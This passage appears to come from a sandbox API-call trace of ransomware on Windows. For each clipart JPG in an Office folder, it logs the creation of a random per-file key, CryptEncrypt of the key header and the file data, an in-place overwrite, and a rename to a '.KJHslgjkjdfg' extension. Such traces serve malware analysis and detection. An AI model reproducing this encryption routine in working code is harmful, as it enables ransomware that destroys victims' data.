pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.667] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.667] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.667] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.667] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.667] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.667] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.667] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x49ba, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x49ba, lpOverlapped=0x0) returned 1 [0183.669] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x49c0, dwBufLen=0x49c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x49c0) returned 1 [0183.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.669] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x49c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x49c0, lpOverlapped=0x0) returned 1 [0183.669] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.669] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.669] SetEndOfFile (hFile=0x114) returned 1 [0183.672] GetProcessHeap () returned 0x2a0000 [0183.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.672] GetProcessHeap () returned 0x2a0000 [0183.672] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.672] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341742.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341742.jpg.kjhslgjkjdfg")) returned 1 [0183.674] CloseHandle (hObject=0x114) returned 1 [0183.674] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10bdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382836.JPG", cAlternateFileName="")) returned 1 [0183.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.675] GetProcessHeap () returned 0x2a0000 [0183.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.676] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.676] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.676] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.678] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.678] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.678] GetProcessHeap () returned 0x2a0000 [0183.678] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.678] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.678] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.678] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.678] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.679] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.679] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.679] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.679] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.679] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.679] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.679] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x10bdc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x10bdc, lpOverlapped=0x0) returned 1 [0183.680] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10be0, dwBufLen=0x10be0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x10be0) returned 1 [0183.681] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.681] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x10be0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x10be0, lpOverlapped=0x0) returned 1 [0183.682] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10cb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.682] SetEndOfFile (hFile=0x114) returned 1 [0183.685] GetProcessHeap () returned 0x2a0000 [0183.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.685] GetProcessHeap () returned 0x2a0000 [0183.685] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.685] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382836.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382836.jpg.kjhslgjkjdfg")) returned 1 [0183.687] CloseHandle (hObject=0x114) returned 1 [0183.693] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ce5a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382925.JPG", cAlternateFileName="")) returned 1 [0183.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.694] GetProcessHeap () returned 0x2a0000 [0183.694] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.695] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.695] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.697] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.697] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.697] GetProcessHeap () returned 0x2a0000 [0183.697] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.697] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.697] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.697] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.697] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.698] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.698] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.698] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.698] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.698] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.698] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.698] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ce5a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ce5a, lpOverlapped=0x0) returned 1 [0183.701] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ce60, dwBufLen=0x1ce60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ce60) returned 1 [0183.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.703] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ce60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ce60, lpOverlapped=0x0) returned 1 [0183.703] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.703] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1cf34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.703] SetEndOfFile (hFile=0x114) returned 1 [0183.707] GetProcessHeap () returned 0x2a0000 [0183.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.707] GetProcessHeap () returned 0x2a0000 [0183.707] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382925.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382925.jpg.kjhslgjkjdfg")) returned 1 [0183.709] CloseHandle (hObject=0x114) returned 1 [0183.709] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1672c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382926.JPG", cAlternateFileName="")) returned 1 [0183.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.710] GetProcessHeap () returned 0x2a0000 [0183.710] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.710] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.710] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.710] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.713] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.713] GetProcessHeap () returned 0x2a0000 [0183.713] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.713] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.713] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.713] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.713] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.713] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.713] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.713] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.713] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.713] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.714] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.714] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.714] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1672c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1672c, lpOverlapped=0x0) returned 1 [0183.716] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16730, dwBufLen=0x16730 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16730) returned 1 [0183.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.717] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16730, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16730, lpOverlapped=0x0) returned 1 [0183.718] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.718] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x16804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.718] SetEndOfFile (hFile=0x114) returned 1 [0183.721] GetProcessHeap () returned 0x2a0000 [0183.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.721] GetProcessHeap () returned 0x2a0000 [0183.721] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382926.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382926.jpg.kjhslgjkjdfg")) returned 1 [0183.723] CloseHandle (hObject=0x114) returned 1 [0183.723] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661aebd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f86c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382927.JPG", cAlternateFileName="")) returned 1 [0183.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382927.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382927.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.724] GetProcessHeap () returned 0x2a0000 [0183.724] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.724] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.724] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.724] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.727] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.727] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.727] GetProcessHeap () returned 0x2a0000 [0183.727] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.727] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.727] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.727] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.727] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.727] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.727] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, 